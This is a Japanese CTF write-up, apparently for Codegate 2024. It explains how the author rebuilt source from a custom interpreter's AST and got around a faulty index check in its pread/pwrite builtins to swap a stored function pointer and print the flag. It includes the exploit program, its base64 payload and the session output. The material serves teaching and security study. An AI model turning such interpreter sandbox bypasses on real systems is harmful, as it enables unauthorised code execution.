 `-----'   `--' `--'`--'   `--' `------'  `-'    `--' `--'   `--'

Command [all|add|exit|run|del]:

add はこの独自言語で書いた自分のコードをパースしてもらい、実行可能な状態にするコマンドだ。実行可能なプログラムは内部的に配列として蓄えられていく。最初からこの配列に載っているのが、先ほどのASTしかないプログラムだ。add された順番で 1, 2, …と machine_id が割り振られていき、変数や関数等の情報はそれぞれの machine で独立している。machine_id0 であるのが例のASTしかないプログラムで、つまりこいつしか flag という関数を呼び出せないということになる。

        elif command == 'add':
            if len(codes) == MAX_MACHINE_COUNT:
                print("Cannot add more machines")
                continue
            
            print("\n[!] Create your own game or plugin and unleash your creativity.")
            code = input("Enter code (base64):")
            code = base64.b64decode(code).decode()
            nodes = code_builder(code)
            codes.append(nodes)

allrun はいずれもプログラムを実行するコマンドだが、後者は machine_id を指定してひとつだけプログラムを実行するのに対して、前者は実行可能なプログラムをいっぺんに実行する。不思議な機能だ。

        if command == "all":
            thread_1 = threading.Thread(target = machine_run, args = (m, codes[0], 0))
            thread_1.start() 

            for i in range(1, len(codes)):
                thread_2 = threading.Thread(target = machine_run, args = (m, codes[i], i))
                thread_2.start()
            thread_1.join()

        if command == "run":
            index = int(input(f"Enter index [0:{len(codes)-1}]:"))
            if index >= len(codes) or index < 0:
                print("Invalid index")
                continue
            thread = threading.Thread(target = machine_run, args = (m, codes[index], index))
            thread.start()
            thread.join()

del は指定した machine_id のプログラムを削除するコマンドだ。machine_id0 であるプログラムは削除できないようになっているし、もちろん負数のインデックスを指定して強引に machine_id0 であるプログラムを削除できないようになっている。バイパスはできないように思える。

        elif command == 'del':
            index = int(input(f"Enter index [1:{len(codes)-1}]:"))
            if index >= len(codes) or index < 0:
                print("Invalid index")
                continue

            if index == 0:
                print("Cannot delete main code")
            else:
                codes.pop(index)

ASTからコードを復元する

machine_id0 であるプログラムに脆弱性がないか調べるため、ASTから元のコードを復元できるようにしたい。codegenツールを作ろう。まず手書きで作られたトークナイザを見ていくことにする。入口となる tokenize は次のような関数になっている。FLOAT, INTEGER, STR, NAME (識別子のようなものだろう)といったトークンが存在しているようだ。特殊な文法を持った言語ではなさそうな雰囲気がある。match_floatmatch_symbol 等の細かな実装はスキップする。

def tokenize(text:str):
    result = []
    lineno = 1
    n = 0 
    while n < len(text):
        if(m := match_comment(text, n)):
            pass
        elif (m := match_line_comment(text, n)):
            pass
        elif (m := match_whitespace(text, n)):
            pass
        elif (m := match_float(text, n)):
            result.append(Token('FLOAT', m, lineno, n))
        elif (m := match_digits(text, n)):
            result.append(Token('INTEGER', m, lineno, n))
        elif (m := match_bytes(text, n)):
            result.append(Token('BYTES', m, lineno, n))
        elif (m := match_string(text, n)):
            result.append(Token('STR', m, lineno, n))
        elif (m := match_name(text, n)):
            if m in { 'var', 'const', 'print', 'else', 'if', 'elif', 'while', 'break', 'continue', 'last',
                      'return', 'func', 'true', 'false', "null"}:
                result.append(Token(m.upper(), m, lineno, n))
            else:
                result.append(Token('NAME', m, lineno, n)) 
        elif (m := match_symbol(text, n)):
            result.append(Token(m, m, lineno, n))
        else:
            print(f"Invalid character {text[n]!r}")  
            n += 1
        n += len(m)
        lineno += m.count('\n')
    return result

パーサを見ていく。先ほどのトークンからより意味を持たせた木を作り上げていく。入り口となる parse_statementsparse_statement は次のような構造になっている。func, var (変数の宣言だろう), break, while, if といったよくある構文をこの言語も備えていることがわかる。式としては +, -, <<, &&, INTEGER, STR 等々が見える。

def parse_statements(stream) -> Statements:
    statements = []
    while not (stream.peek('EOF') or stream.peek('}')): 
        try:
            statement = parse_statement(stream)
            statements.append(statement)
        except SystemError as err:
            print(err)
            stream.synchronize([';'])

    return Statements(statements)

def parse_statement(stream: TokenStream):
    if stream.peek('BREAK'):
        return parse_break_statement(stream)
    elif stream.peek('CONTINUE'):
        return parse_continue_statement(stream)
    elif stream.peek("PRINT"):
        return parse_print_statement(stream)
    elif stream.peek("CONST"):
        return parse_const_declaration(stream)
    elif stream.peek("VAR"):
        return parse_var_declaration(stream)
    elif stream.peek("IF"):
        return parse_if_statement(stream)
    elif stream.peek("WHILE"):
        return parse_while_statement(stream)
    elif stream.peek("FUNC"):
        return parse_func_declaration(stream)
    elif stream.peek("RETURN"):
        return parse_return_statement(stream)
    elif stream.peek("LAST"):
        return parse_last_statement(stream)
    else:
        return parse_expr_statement(stream)

さて、あとは例のASTで使われている文やら式やらからcodegenを実装していく。さすがにコードがデカすぎて正しい復元ができているかわかりづらいので、パーサの実装から文法を推測して適当なサンプルコードを書いて、それがパースに成功すること、そしてパースした後のASTから元のコードを復元できることをチェックしつつ、codegenの精度を上げていく。最終的に出来上がったコードは次の通り。

from model import *

# …

def gen_functiondeclaration(decl):
    result = f'func {decl.name.value}('
    first = True
    for arg in decl.arguments:
        if not first:
            result += ', '
        result += f'{arg.name.value} {arg.type.name}'
        first = False
    result += ') '
    result += decl.return_type.name
    result += ' {\n'

    if isinstance(decl.body, Statements):
        result += gen_statements(decl.body)
    else:
        print('[wtf]', decl.body)

    result += '}'

    return result

def gen_vardeclaration(decl):
    result = 'var '
    result += gen_expr(decl.name)

    if decl.type is not None:
        result += ' ' + gen_expr(decl.type)
    if decl.value is not None:
        result += ' = ' + gen_expr(decl.value)

    return result

def gen_exprasstatement(stmt):
    return gen_expr(stmt.expression)

def gen_print(stmt):
    return 'print ' + gen_expr(stmt.value)

def gen_if(stmt):
    result = 'if '
    result += gen_expr(stmt.test)
    result += ' { '
    if stmt.consequence is not None:
        result += gen_statements(stmt.consequence)
    if stmt.elif_block is not None:
        for block in stmt.elif_block:
            result += '} elif '
            result += gen_expr(block[0])
            result += ' { '
            result += gen_statements(block[1])
    if stmt.alternative is not None:
        result += '} else { '
        result += gen_statements(stmt.alternative)
    return result + '}'

def gen_return(ret):
    return 'return ' + gen_expr(ret.value)

def gen_while(stmt):
    result = 'while '
    result += gen_expr(stmt.test)
    result += ' { '
    if isinstance(stmt.body, Statements):
        result += gen_statements(stmt.body)
    else:
        print('[wtf]', stmt.body)
    return result + ' }'

def gen_expr(expr):
    if isinstance(expr, Gt):
        return gen_expr(expr.left) + ' > ' + gen_expr(expr.right)
    elif isinstance(expr, Lt):
        return gen_expr(expr.left) + ' < ' + gen_expr(expr.right)
    elif isinstance(expr, Name):
        return expr.value
    elif isinstance(expr, TypeName):
        return expr.name
    elif isinstance(expr, Integer):
        return expr.value
    elif isinstance(expr, Float):
        return expr.value
    elif isinstance(expr, Add):
        return gen_expr(expr.left) + ' + ' + gen_expr(expr.right)
    elif isinstance(expr, Sub):
        return gen_expr(expr.left) + ' - ' + gen_expr(expr.right)
    elif isinstance(expr, LogOr):
        return gen_expr(expr.left) + ' || ' + gen_expr(expr.right)
    elif isinstance(expr, LogAnd):
        return gen_expr(expr.left) + ' && ' + gen_expr(expr.right)
    elif isinstance(expr, Eq):
        return gen_expr(expr.left) + ' == ' + gen_expr(expr.right)
    elif isinstance(expr, Assignment):
        return gen_expr(expr.location) + ' = ' + gen_expr(expr.value)
    elif isinstance(expr, Group):
        return '(' + gen_expr(expr.value) + ')'
    elif isinstance(expr, Array):
        return '[' + ', '.join(gen_expr(e) for e in expr.elements) + ']'
    elif isinstance(expr, Indexer):
        result = gen_expr(expr.value) + '['
        if expr.start is not None:
            result += gen_expr(expr.start)
        if expr.end is not None:
            result += ':' + gen_expr(expr.end)
        if expr.step is not None:
            result += ':' + gen_expr(expr.step)
        return result + ']'
    elif isinstance(expr, Str):
        return expr.value
    elif isinstance(expr, Bytes):
        return expr.value
    elif isinstance(expr, Null):
        return ''
    elif isinstance(expr, FunctionCall):
        return f'{expr.name.value}(' + ', '.join(
            gen_expr(e) for e in expr.arguments
        ) + ')'
    else:
        print('[new type in expr]', type(expr))
    return '/*TODO*/'

def gen_statements(stmts):
    result = ''
    for stmt in stmts.statements:
        need_semicolon = False
        if isinstance(stmt, FunctionDeclaration):
            result += gen_functiondeclaration(stmt)
        elif isinstance(stmt, ExprAsStatement):
            result += gen_exprasstatement(stmt)
            need_semicolon = True
        elif isinstance(stmt, VarDeclaration):
            result += gen_vardeclaration(stmt)
            need_semicolon = True
        elif isinstance(stmt, IfStatement):
            result += gen_if(stmt)
        elif isinstance(stmt, PrintStatement):
            result += gen_print(stmt)
            need_semicolon = True
        elif isinstance(stmt, ReturnStatement):
            result += gen_return(stmt)
            need_semicolon = True
        elif isinstance(stmt, WhileStatement):
            result += gen_while(stmt)
        else:
            print('[new type in stmts]', type(stmt))
        if need_semicolon:
            result += ';'
        result += '\n'
    return result

result = gen_statements(codes[0])
print(result)
with open('nazo.txt', 'w') as f:
    f.write(result)

このcodegenによって例のASTから復元されたコードは次の通り。Golangのフォーマッタにかけるといい感じに読みやすくしてくれた。Golang的な雰囲気もあれば、Python的な雰囲気もある。Pythonからはとっくに消え去った print 文がいるし、Golangっぽくない b'…''…' のような文字列がいる。なお、このプログラムはトランプのゲームのようだが、特に eval 的な関数を使っているわけではないし、どこも脆弱ではないように思える。

func shuffleDeck(deck list) void {
    var i int = len(deck) - 1;
    var temp list = deck[i];
    var j int = 0;
    while i > 0 {
        j = rand(i);
        temp = deck[i];
        deck[i] = deck[j];
        deck[j] = temp;
        i = i - 1;
    }
}
func initializeDeck() list {
    var suits list = [0, 1, 2, 3];
    var ranks list = ['2', '3', '4', '5', '6', '7', '8', '9', '10', 'J', 'Q', 'K', 'A'];
    var deck list = [];
    var suitIndex int = 0;
    var rankIndex int = 0;
    while suitIndex < 4 {
        rankIndex = 0;
        while rankIndex < 13 {
            append(deck, [ranks[rankIndex], suits[suitIndex]]);
            rankIndex = rankIndex + 1;
        }
        suitIndex = suitIndex + 1;
    }
    shuffleDeck(deck);
    return deck;
}
func dealCards(deck list) list {
    var hands list = [];
    var index int = 0;
    var count int = 0;
    var playerHand list = [];
    while count < 2 {
        playerHand = [];
        var cardCount int = 0;
        while cardCount < 2 {
            append(playerHand, deck[index]);
            index = index + 1;
            cardCount = cardCount + 1;
        }
        append(hands, playerHand);
        count = count + 1;
    }
    return hands;
}
func replaceCards(playerHand list, deck list, cardsToReplace list) void {
    var replacementIndex int = len(deck) - 1;
    var i int = 0;
    while i < len(cardsToReplace) {
        if cardsToReplace[i] {
            playerHand[i] = deck[replacementIndex];
            replacementIndex = replacementIndex - 1;
        }
        i = i + 1;
    }
}
func scoreHand(hand list) int {
    var score int = 0;
    var i int = 0;
    var temp list = [];
    var cardValue str = '';
    while i < len(hand) {
        temp = hand[i];
        cardValue = temp[0];
        if cardValue == 'A' {
            if (score + 11) > 21 {
                score = score + 1;
            } else {
                score = score + 11;
            }
        }
        elif cardValue == 'K' || cardValue == 'Q' || cardValue == 'J' {
            score = score + 10;
        } else {
            score = score + int(cardValue);
        }
        i = i + 1;
    }
    return score;
}
func determineWinner(playerHand list, dealerHand list) int {
    var playerScore int = scoreHand(playerHand);
    var dealerScore int = scoreHand(dealerHand);
    if playerScore > dealerScore {
        return 1;
    }
    elif dealerScore > playerScore {
        return 2;
    } else {
        return 0;
    }
}
func Draw_result() bool {
    print '\nDraw\n';
}
func Player_result() bool {
    print '\nPlayer Win\n';
}
func Dealer_result() bool {
    print '\nDealer Win\n';
}
func get_user_input() list {
    var replace_input list = [];
    var i int = 0;
    while i < 2 {
        var choice bytes = input('Swap Card [' + str(i) + '] [y/n]:');
        if choice == b'y' {
            append(replace_input, 1);
        } else {
            append(replace_input, 0);
        }
        i = i + 1;
    }
    return replace_input;
}
func ShowCard(card list) bool {
    var i int = 0;
    var c list;
    var level str;
    var suits list = ['Hearts', 'Diamonds', 'Clubs', 'Spades'];
    while i < len(card) {
        c = card[i];
        print '\t' + '[' + str(i) + '] ' + c[0] + ' of ' + suits[c[1]] + '\n';
        i = i + 1;
    }
}
func main() int {
    while 1 {
        var func_list list = [Draw_result, Player_result, Dealer_result];
        var beh list = [];
        var beh_func pointer;
        pwrite(0, func_list);
        var deck list = initializeDeck();
        var hands list = dealCards(deck);
        var playerHand list = hands[0];
        var dealerHand list = hands[1];
        print '[Dealer]\n';
        ShowCard(dealerHand);
        print '\n[Player]\n';
        ShowCard(playerHand);
        print('\n');
        var cardsToReplace list = get_user_input();
        replaceCards(playerHand, deck, cardsToReplace);
        print '\n[Dealer]\n';
        ShowCard(dealerHand);
        print '\n[Player - Card changed]\n';
        ShowCard(playerHand);
        var winner int = determineWinner(playerHand, dealerHand);
        beh = pread(0);
        beh_func = beh[winner];
        beh_func();
        sleep(3.0);
        pwrite(0, func_list);
    }
}
main();

インタプリタのバグを探す

インタプリタ等の脆弱性を探していく。まずインタプリタにおいて Str, Bytes というそれぞれ文字列とバイト列を表現するクラスに対して eval が使われており気になる。

        elif isinstance(node, Str):
            return WValue('str', eval(node.value))

        elif isinstance(node, Bytes):
            return WValue('bytes', eval(node.value))

…が、残念ながら StrBytes では次のようにチェックされており、このノードの属性を書き換えることができないかぎりRCEに持ち込めそうな雰囲気はない。

class Str(Expression):
    def __init__(self, value):
        assert isinstance(value, str) and value[0] == "'" and value[-1] == "'", value
        self.id = create_id()
        self.value = value
    
class Bytes(Expression):
    def __init__(self, value):
        assert isinstance(value, str) and value[0:2] == "b'" and value[-1] == "'", value
        self.id = create_id()
        self.value = value

ビルトインの関数にどのようなものがあるか確認していると、preadpwrite というよくわからない関数があった。これは pread(1)pwrite(1, "hoge") のようにして、本来であればプログラムごとに環境が独立しているところ、こいつを使うことで共用のメモリにオブジェクトを書き込んだり読み込んだりできるらしい。

例のASTしかないプログラムも preadpwrite を使っている。関数ポインタの配列を 0 というインデックスに格納しているらしい。

        var func_list list = [Draw_result, Player_result, Dealer_result];
        var beh list = [];
        var beh_func pointer;
        pwrite(0, func_list);
// …
        beh = pread(0);
        beh_func = beh[winner];
        beh_func();

pread(0) で返ってくる配列に別のプログラムから flag をしてくれる関数を仕込めないかと考えるが、preadpwrite の実装を見るとわかるように、0 をインデックスとして指定した場合には、machine_id0 でなければならない。

ただ、なぜかわざわざ n = args[0].value という処理で引数を取り出しているのに、実際にインデックスが 0 かチェックしている条件式では node.arguments[0].value == str(0) と、なぜか node.arguments[0].value で参照している。この違いをバイパスに利用できないだろうか。

            elif node.name.value == "pread":
                n = args[0].value
                if n < 0 or n >= self.machine_count:
                    return WValue('bytes', b"")
                
                if node.arguments[0].value == str(0) and machine_id != 0:
                    return WValue('bool', False)

                buffer = self.rP(n)
                return WValue(type(buffer), buffer)
                            
            elif node.name.value == "pwrite":
                n = args[0].value
                if n < 0 or n >= self.machine_count:
                    return WValue('bool', False)
                
                if node.arguments[0].value == str(0) and machine_id != 0:
                    return WValue('bool', False)

                self.wP(n, args[1].value)

                return WValue('bool', True)

pwriteprint(n, args[0], node.arguments[0]) を仕込んでデバッグしやすくする。0false で代替できないかとか、' 0' のようにそれっぽい文字列が使えないかとか考えつつ色々試す。次のプログラムで preadfalse を返さず、つまりバイパスできているようだった。

var x = int(pwrite(0));
print(pwrite(x, 123));
print pread(x);

解く

次のようなプログラムを用意し、Base64エンコードする。こいつは flag を呼び出して出力する関数へのポインタを含む配列を作り、3秒後ごとに 0 というインデックスに対して仕込むようなものだ。例のゲームのプログラムからこの関数を参照してくれれば、いい感じにフラグが得られるはずだ。

func f() void {
    print flag();
}

while 1 {
    var x = int(pwrite(0));
    print(pwrite(x, [f, f, f]));
    sleep(3);
}

このプログラムを add で実行可能な形にしてもらい、all でゲームのプログラムと並列して、beh_func に入るはずの関数を差し替えるプログラムを動かしてもらう。これでフラグが得られた。

$ nc (省略)

           (`-')  _ <-. (`-')   (`-')  _  ,-.    (`-')  _
    .->    (OO ).-/    \(OO )_  ( OO).-/.-|-|-.  (OO ).-/      .->
 ,---(`-') / ,---.  ,--./  ,-.)(,------.| | |_|  / ,---.   ,--.'  ,-.
'  .-(OO ) | \ /`.\ |   `.'   | |  .---'`-|.| '. | \ /`.\ (`-')'.'  /
|  | .-, \ '-'|_.' ||  |'.'|  |(|  '--. .-| |  | '-'|_.' |(OO \    /
|  | '.(_/(|  .-.  ||  |   |  | |  .--' | |-|  /(|  .-.  | |  /   /)
|  '-'  |  |  | |  ||  |   |  | |  `---. `|-|''  |  | |  | `-/   /`
 `-----'   `--' `--'`--'   `--' `------'  `-'    `--' `--'   `--'

Command [all|add|exit|run|del]:add

[!] Create your own game or plugin and unleash your creativity.
Enter code (base64):CmZ1bmMgZigpIHZvaWQgewogICAgcHJpbnQgZmxhZygpOwp9Cgp3aGlsZSAxIHsKICAgIHZhciB4ID0gaW50KHB3cml0ZSgwKSk7CiAgICBwcmludChwd3JpdGUoeCwgW2YsIGYsIGZdKSk7CiAgICBzbGVlcCgzKTsKfQo=
Command [all|add|exit|run|del]:all
True[Dealer]

        [0] 7 of Hearts
        [1] 4 of Diamonds

[Player]
        [0] 9 of Clubs
        [1] 5 of Diamonds

Swap Card [0] [y/n]:True
n
Swap Card [1] [y/n]:n

[Dealer]
        [0] 7 of Hearts
        [1] 4 of Diamonds

[Player - Card changed]
        [0] 9 of Clubs
        [1] 5 of Diamonds

Player Win
True
n
[Dealer]
        [0] 4 of Diamonds
        [1] 2 of Clubs

[Player]
        [0] 8 of Clubs
        [1] Q of Diamonds

Swap Card [0] [y/n]:Swap Card [1] [y/n]:n

[Dealer]
        [0] 4 of Diamonds
        [1] 2 of Clubs

[Player - Card changed]
        [0] 8 of Clubs
        [1] Q of Diamonds
b'codegate2024{ae2ddb06d4819642c77eae215d5d4138a978dabcb4cd719753edf60aee3bdeafa62edf2eb4cf8417cd3d9c4a88ae84049efe4b}\n'
True
codegate2024{ae2ddb06d4819642c77eae215d5d4138a978dabcb4cd719753edf60aee3bdeafa62edf2eb4cf8417cd3d9c4a88ae84049efe4b}

*1:日本からはおそらく2人が予選を通過している。おめでとうございます

*2:Juniorでしか出題されていない問題もあるようで気になる

*3:確定しているわけではないので、このように微妙な書き方をしている

*4:なお、実際にはここでRace Conditionへ持ち込む必要はなかった。/api/addRoom側では存在しているチャットルームの個数はチェックされておらず、また/api/addRoomの呼び出しにあたって/api/validateを先に叩いておく必要もない。同じchatRoomIndexのチャットルームが存在するかすら見ていないので、適当に/api/addRoomを叩く通信のキャプチャとリプレイをして、/api/addRoomを叩けばよいだけだった

*5:TMTOWTDI

*6:CTF終了後にDiscordを覗いたところ、ftp://example.com/fileのようにリモートのファイルを指定してsleepでタイムアウトを狙うという方法もあったらしく、確かにと納得する